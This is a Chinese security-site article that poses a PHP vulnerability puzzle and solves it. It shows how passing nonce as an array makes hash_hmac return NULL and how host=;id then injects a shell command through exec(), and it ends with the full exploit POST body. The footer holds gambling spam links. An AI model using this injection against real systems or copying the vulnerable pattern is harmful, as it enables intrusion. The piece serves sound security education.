歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

安全小游戲:尋找漏洞

來源:本站整理 作者:佚名 時間:2019-12-06 TAG: 我要投稿

0×1 前言
YouTube上的一個視頻,分享給大家。
這里存在一個Bug,你能找到Ta嗎?
if (empty($_POST['hmac']) || empty($_POST['host'])) {
 header('HTTP/1.0 400 Bad Request');
 exit;
}
$secret = getenv("SECRET");
if (isset($_POST['nonce']))
 $secret = hash_hmac('sha256', $_POST['host'], $secret);
$hmac = hash_hmac('sha256', $_POST['host'], $secret);
if ($hmac !== $_POST['hmac']) {
 header('HTTP/1.0 403 Forbidden');
 exit;
}
echo exec("host ".$_POST['host']);
?>
0×2 初步分析
首先大致游覽一下,這很像一個CTF題目。最后的目標要執行:
echo exec("host ".$_POST['host']);
我們可以控制的輸入有:
$_POST['hmac'] $_POST['host'] $_POST['nonce']
為了執行到目標需要跳過2個判斷:
if (empty($_POST['hmac']) || empty($_POST['host'])) {
 header('HTTP/1.0 400 Bad Request');
 exit;
}
if ($hmac !== $_POST['hmac']) {
 header('HTTP/1.0 403 Forbidden');
 exit;
}
第一個判斷只需要post參數hmac和host不為空就可以,第二個判斷需要使得hmac和_POST['hmac']相等。
如果我們設置了nonce的值,那么中間會多執行一個步驟:
if (isset($_POST['nonce']))
$secret = hash_hmac(‘sha256′, $_POST['host'], $secret);
0×2 進一步分析
關鍵就在于第二個判斷,能不能繞過他呢?hmac經過了sha256的哈希,而sha256是單向散列函數,我們不知道secret就不能倒推出散列值,如果窮舉或采用字典查詢這樣并不符合題目的要求(窮舉和字典攻擊不是漏洞,任何系統都無法避免),這條路斷了。
那么我們考慮一下PHP的類型自動轉換:
在變量定義中不需要(不支持)明確的類型定義。變量類型是根據使用該變量的上下文所決定的。

為什么會相等呢?因為這里的上下文環境(context)自動將其轉為了數字,而0e123(0*10^123) 和0e999(0*10^999)都是0,所以相等。

在md5判斷的時候就會出錯,因為他們都是0e開頭的。
這時我們看一下PHP的比較運算符:
例子
名稱
結果
$a == $b 
等于
TRUE,如果類型轉換后 $a 等于 $b。 
$a === $b 
全等
TRUE,如果 $a 等于 $b,并且它們的類型也相同。 
$a != $b 
不等于
TRUE,如果類型轉換后 $a 不等于 $b。 
$a !== $b 
不全等
TRUE,如果 $a 不等于 $b,或者它們的類型不同。 
這里采用里不全等,那么之前我們提到的漏洞就不能使用了。而且如果if (isset($_POST['nonce']))這步被跳過那么后面的
$hmac = hash_hmac('sha256', $_POST['host'], $secret);
那么hmac就根本無法預測。所以這步至關重要,這里我們可以控制的變量只有host和nonce。

在傳入參數的時候,PHP不僅可以讓你決定傳入的值是什么,還可以讓你決定傳入的類型。所以可以是nonce=123,也可以傳入一個數組nonce[]=123。那么我們試試:

可以看到,返回了NULL,有的PHP版本同時還會提示一個warning,但返回的也是NULL。那么我們如果nonce傳入一個數組,接下來的hmac我們也會知道:

我們在host參數傳入;id,最后會執行host ;id就會打印出當前的計算機用戶名。
0×3 exploit
最終我們的需要post的數據為:
 hmac=58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1&host=;id&nonce[]=1
 

【聲明】:黑吧安全網(http://www.zjtpzs.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        神秘东方电子游艺 球棎比分足球即时比分旧版 麻将占卜今日牌运免 买贵州11选5 山西十一选五 11选5傻瓜打法 qq分分彩计划软件 东北打什么麻将 新疆18选七 手机麻将软件开发 股票趋势分析下载 棋牌游戏娱乐中心 福彩老快三 极速飞艇博彩 新疆35选7历史开奖号码 千炮彩金捕鱼免费安装 重庆宣和麻将机批发